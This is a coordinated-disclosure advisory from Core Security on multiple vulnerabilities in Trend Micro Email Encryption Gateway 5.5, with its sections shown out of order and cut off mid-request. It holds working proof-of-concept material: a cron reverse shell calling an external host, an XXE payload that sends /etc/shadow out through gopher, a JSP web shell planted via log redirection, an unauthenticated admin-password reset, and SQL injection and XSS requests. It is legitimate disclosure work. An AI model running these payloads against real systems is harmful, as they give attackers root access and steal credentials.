Excerpt of the policies.do source showing the injected script tag:
/-----
<tr>
<td ondblclick="edit_policy(this);" style="border:solid 1px
#AAAAAA;background-color:#F5F5F5;cursor:move;"
onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
onmouseout="mouse_out(this);"
onmousemove="mouse_move(this, event);">Don't decrypt messages to
<script>alert(1)</script>
-----/
7.11. *SQL injection in policies.jsp*
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
From webapps/ROOT/policies.jsp:
/-----
<% if (request.getParameter("hidEditId") != null)
if (request.getParameter("hidEditId").compareTo("-1") != 0)
{
String hid_edit_id = request.getParameter("hidEditId");
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
value="<%= hid_edit_id %>"/></jsp:forward><%
}
[...]
-----/
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
_ruleId = ruleId;
_ruleResultId = dataStore.getRuleResultId(ruleId);
_ruleForId = dataStore.getRuleForId(ruleId);
_ruleEmails = dataStore.getRuleAddreses(ruleId);
_ruleSubRules = dataStore.getSubRules(ruleId);
[...]
public String getRuleResultId(String ruleId) throws SQLException
{
Connection cnn = MySQLClient.GetInstance().GetConnection();
Statement query = cnn.createStatement();
String ruleResultId = "";
ResultSet rs = null;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/
7.12. *SQL injection in editPolicy.jsp*
[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
/-----
<% if (frm.isPostBack())
{
if (request.getParameter("hidDelete").compareTo("YES") == 0)
{
frm.DeletePolicy(request);
}
[...]
-----/
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean DeletePolicy(HttpServletRequest request)
{
String ruleId = request.getParameter("hidRuleId");
boolean success = dataStore.deletePolicy(ruleId);
_databaseError = (!success);
return success;
}
-----/
Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
/-----
public boolean deletePolicy(String ruleId)
{
Connection cnn = null;
Statement query = null;
boolean bSuccess = true;
try
{
cnn = MySQLClient.GetInstance().GetConnection();
cnn.setAutoCommit(false);
query = cnn.createStatement();
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/
7.13. *SQL Injection in emailSearch.jsp*
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
Connection cnn = MySQLClient.GetInstance().GetConnection();
try
{
Statement query = cnn.createStatement();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
9. *References*
[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc
VAR-201803-1786 | CVE-2018-6221 | Trend Micro Email Encryption Gateway Vulnerabilities related to certificate validation |
CVSS V2: 9.3 CVSS V3: 8.1 Severity: HIGH |
An unvalidated software update vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow a man-in-the-middle attacker to tamper with an update file and inject their own. Failed exploit attempts will result in a denial-of-service condition. *Advisory Information*
Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities
Advisory ID: CORE-2017-0006
Advisory URL:
http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities
Date published: 2018-02-21
Date of last update: 2018-02-21
Vendors contacted: Trend Micro
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Security Notes:
.
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
6. *Credits*
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
The application does also use an insecure update mechanism that allows
an attacker in a man-in-the-middle position to write arbitrary files and
install arbitrary RPM packages, leading to remote command execution as
the root user.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
/-----
[Request #1]
http://downloads.privatepost.com/files/TMEEG/updates/data.html
-----/
The product expects to retrieve a plain-text file with the following
format:
/-----
[Version Info]
[Installation RPM file name]
[Path to release notes]
-----/
If a new update is found, then the RPM file is downloaded from the
following URL:
/-----
[Request #2]
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
file name]
-----/
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
/-----
FileDownload fd = new FileDownload();
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
rpmFileName)) {
return 10;
}
[...]
-----/
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
5.7
../../../../../../../etc/cron.d/test
test.html
-----/
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
-----/
The attacker can tamper the server's response and inject arbitrary data,
such as a reverse shell payload:
/-----
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
-----/
gaining code execution upon exploitation:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
/-----
try
{
System.out.println("running file:");
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. *Arbitrary logs location leading to command execution*
[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
-----/
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
-----/
The next time the service components are restarted, the log file will be
created with the desired JSP code.
With the sample JSP code from the previous request, the attacker would
then navigate to pepito.jsp and execute arbitrary commands as root:
/-----
https://[server]/pepito.jsp?cmd=id
Command: id
uid=0(root) gid=0(root) context=system_u:system_r:java_t
-----/
7.5. *Missing authentication for appliance registration*
[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
The following request changes the administrator password to "sombrero":
/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
-----/
Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.
7.6. *Lack of cross-site request forgery protection*
[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.
The following proof of concept starts the check for updates process.
/-----
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://[server]/checkForUpdates.do">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-----/
7.7. *XML external entity injection in configuration.jsp*
[CVE-2018-6225]
The pciExceptionXml parameter of the configuration.jsp script is
vulnerable to XML external entity injection.
The following proof of concept uses external entities to send the
/etc/shadow file to an external server.
/-----
POST /configuration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 938
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
Connection: close
Upgrade-Insecure-Requests: 1
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
<!DOCTYPE+roottag+[
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
%25dtd%3b]>
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
-----/
The combine.dtd file is hosted on an external server, and its contents
are:
/-----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://external_server:1080/?%file;'>">
%all;
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
49676)
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
bin:*:14089:0:99999:7:::
daemon:*:14089:0:99999:7:::
adm:*:14089:0:99999:7:::
lp:*:14089:0:99999:7:::
sync:*:14089:0:99999:7:::
shutdown:*:14089:0:99999:7:::
halt:*:14089:0:99999:7:::
mail:*:14089:0:99999:7:::
news:*:14089:0:99999:7:::
uucp:*:14089:0:99999:7:::
operator:*:14089:0:99999:7:::
games:*:14089:0:99999:7:::
gopher:*:14089:0:99999:7:::
ftp:*:14089:0:99999:7:::
nobody:*:14089:0:99999:7:::
rpm:!!:14089:0:99999:7:::
dbus:!!:14089:0:99999:7:::
exim:!!:14089:0:99999:7:::
nscd:!!:14089:0:99999:7:::
vcsa:!!:14089:0:99999:7:::
rpc:!!:14089:0:99999:7:::
sshd:!!:14089:0:99999:7:::
pcap:!!:14089:0:99999:7:::
haldaemon:!!:14089:0:99999:7:::
postgres:!!:14090::::::
tomcat:!!:14090:0:99999:7:::
xfs:!!:14179::::::
postfix:!!:14194::::::
-----/
These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
-----/
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
-----/
7.10. *Stored cross-site scripting in editPolicy.jsp*
[CVE-2018-6227]
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
cross-site scripting.
The following request adds a policy for the email address
"<script>alert(1)</script>":
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
